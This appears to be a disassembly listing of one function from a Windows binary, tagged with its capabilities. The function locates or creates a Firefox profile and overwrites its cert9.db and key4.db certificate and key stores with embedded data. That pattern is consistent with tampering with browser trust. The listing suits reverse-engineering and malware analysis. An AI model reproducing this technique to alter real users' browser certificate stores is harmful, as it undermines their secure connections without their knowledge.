Function at 0x140012ad0
Capabilities:
Create directory
Get common file path
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x3a0
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x390], rax
lea rcx, [rsp + 0x61]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x60], dil
call fcn.140013580
lea rcx, [rsp + 0x171]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x170], dil
call fcn.140013580
xor eax, eax
lea rcx, [rsp + 0x281]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x51], rax
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov byte [rsp + 0x30], al
mov qword [rsp + 0x31], rax
mov qword [rsp + 0x39], rax
mov qword [rsp + 0x41], rax
mov dword [rsp + 0x49], eax
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov byte [rsp + 0x280], al
call fcn.140013580
lea r8d, [rdi + 0x1a]
lea rdx, [rsp + 0x60]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.Mozilla
lea rcx, [rsp + 0x60]
call fcn.1400076f0
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.Firefox
lea rcx, [rsp + 0x60]
call fcn.1400076f0
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x170]
call fcn.140007730
lea rdx, str.profiles.ini
lea rcx, [rsp + 0x170]
call fcn.1400076f0
xor r11d, r11d
lea rax, [rsp + 0x170]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
lea rdx, str.Path
lea rcx, str.Profile0
xor r8d, r8d
mov dword [rsp + 0x20], 0x1f
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r11
mov qword [rsp + 0x40], r11
mov qword [rsp + 0x48], r11
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp byte [rsp + 0x30], dil
jne 0x140012cc1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.140013e2c
lea r8d, [rdi + 0x10]
lea rdx, [rsp + 0x50]
lea ecx, [rdi + 8]
call fcn.1400044a0
lea r8, [rsp + 0x50]
lea rdx, str.Profiles__s.default
lea rcx, [rsp + 0x30]
call fcn.140014060
lea r8, [rsp + 0x30]
lea rdx, str._General__r_nStartWithLastProfile1_r_n_r_n_Profile0__r_nNamedefault_r_nIsRelative1_r_nPath_s_r_nDefault1
lea rcx, [rsp + 0x280]
call fcn.140014060
lea rcx, [rsp + 0x280]
call fcn.140007870
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
mov r8, rax
xor r9d, r9d
call fcn.140004790
lea rdx, [0x14002267c]
lea rcx, [rsp + 0x60]
call fcn.1400076f0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400076f0
lea rcx, [rsp + 0x60]
mov edx, gethostbyaddr
call fcn.140007760
mov rbx, rax
test rax, rax
jne 0x140012d00
lea eax, [rbx + 0xd]
jmp 0x140012e41
lea rcx, [rsp + 0x60]
xor edx, edx
mov byte [rax], dil
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rsp + 0x60]
xor edx, edx
mov byte [rbx], 0x5c
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 0x48000
call fcn.140013a24
mov rbx, rax
test rax, rax
jne 0x140012d3a
lea edi, [rax + 8]
jmp 0x140012e32
xor edx, edx
mov r8d, 0x48000
mov rcx, rax
call fcn.140013580
lea rdx, [0x1400c07e0]
mov r8d, 0x48000
mov rcx, rbx
call fcn.1400136f0
cmp dword [0x1400c07d0], edi
je 0x140012d77
mov edx, 0x48000
mov rcx, rbx
mov r8d, edx
call fcn.140002904
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x170]
call fcn.140007730
lea rdx, str.cert9.db
lea rcx, [rsp + 0x170]
call fcn.1400076f0
lea rcx, [rsp + 0x170]
xor r9d, r9d
mov r8d, 0x48000
mov rdx, rbx
call fcn.140004790
xor edx, edx
mov r8d, 0x48000
mov rcx, rbx
call fcn.140013580
lea rdx, str.2.b__
mov r8d, 0x48000
mov rcx, rbx
call fcn.1400136f0
cmp dword [0x1400c07d0], edi
je 0x140012df3
mov edx, 0x48000
mov rcx, rbx
mov r8d, edx
call fcn.140002904
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x170]
call fcn.140007730
lea rdx, str.key4.db
lea rcx, [rsp + 0x170]
call fcn.1400076f0
lea rcx, [rsp + 0x170]
xor r9d, r9d
mov r8d, 0x48000
mov rdx, rbx
call fcn.140004790
test rbx, rbx
je 0x140012e3f
mov rcx, rbx
call fcn.1400136a0
mov eax, edi
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.140013680
mov rbx, qword [rsp + 0x3b0]
add rsp, 0x3a0
pop rdi
ret